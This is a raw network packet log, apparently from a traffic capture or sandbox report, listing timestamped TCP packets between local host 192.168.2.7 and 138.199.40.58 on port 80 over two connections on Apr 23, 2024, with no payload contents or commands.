Apr 23, 2024 08:39:58.880389929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880393982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880412102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880425930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880439043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880450964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880460024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880480051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880480051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880481958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880505085 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880530119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880542994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880548954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880553961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880562067 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880618095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880636930 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880657911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880676985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880762100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880825043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880836964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880844116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880887032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880887032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880887985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880911112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880929947 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880989075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881009102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881022930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881032944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881046057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881053925 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881082058 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881103992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881115913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881134033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881150007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881170988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881174088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881191969 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881212950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881226063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881227970 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881274939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881274939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881297112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881309032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881320000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881331921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881340027 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881342888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881356001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881362915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881378889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881385088 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881402969 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881439924 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881453037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881488085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881592035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881603956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881607056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881649017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881649017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881757021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881859064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881872892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881880045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881911039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881911039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.881953001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881966114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881975889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.881995916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882008076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882014990 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882014990 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882097960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882110119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882121086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882122993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882133007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882138968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882152081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882174969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882186890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882194042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882205963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882210970 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882222891 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882275105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882287025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882296085 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882323980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882323980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882325888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882399082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882442951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882515907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882528067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882539988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882546902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882560968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882579088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882586002 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882611990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882679939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882699013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882751942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882764101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882775068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882783890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882836103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882849932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882854939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882869005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882872105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882889986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882904053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882925034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882927895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882946014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.882949114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882961988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.882968903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883054018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883054972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883183002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883196115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883217096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883249044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883261919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883270025 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883291006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883310080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883357048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883359909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883372068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883495092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883502007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883554935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883574963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883586884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883599043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883610010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883615971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883620977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883631945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883644104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883651018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883651018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883677006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883687973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883697987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883707047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883709908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883743048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883749008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883749008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883754969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883786917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883790970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883790970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883830070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883843899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883852959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883855104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883866072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883876085 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883876085 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883905888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883905888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883908987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883922100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883933067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883944988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883951902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883956909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.883996964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.883996964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884028912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884041071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884063005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884074926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884080887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884094000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884136915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884150028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884151936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884161949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884183884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884183884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884205103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884217978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884227037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884248972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884268045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884289026 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884310007 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884367943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884391069 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884402037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884421110 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884424925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884444952 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884486914 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884541035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884593010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884604931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884613037 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884643078 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884674072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884696960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884716988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884737968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884758949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884771109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884779930 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884782076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884794950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884802103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884814024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884915113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.884917974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.884963989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885325909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885360956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885380983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885431051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885442972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885449886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885479927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885479927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885512114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885546923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885570049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885708094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885720968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885726929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885740995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885742903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885756016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885762930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885823965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885826111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885837078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885859013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885870934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.885878086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885914087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885914087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.885936022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886003017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886048079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886149883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886161089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886173964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886185884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886198044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886204958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886209011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886231899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886250973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886267900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886329889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886372089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886415005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886429071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886473894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886486053 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886496067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886511087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886557102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886557102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886581898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886594057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886605978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886625051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886625051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886647940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886667013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886718988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886750937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886764050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886775017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886792898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886795044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886804104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886816025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886822939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886826038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886827946 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886837959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886848927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886868954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886871099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886889935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.886892080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.886912107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887012959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887026072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887032986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887037039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887048960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887057066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887057066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887084961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887088060 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887104988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887228966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887276888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887289047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887295961 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887307882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887310982 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887330055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887348890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887348890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887371063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887383938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887391090 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887403965 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887404919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887423992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887425900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887445927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887469053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887480974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887487888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887501001 CEST	49704	80	192.168.2.7	138.199.40.58
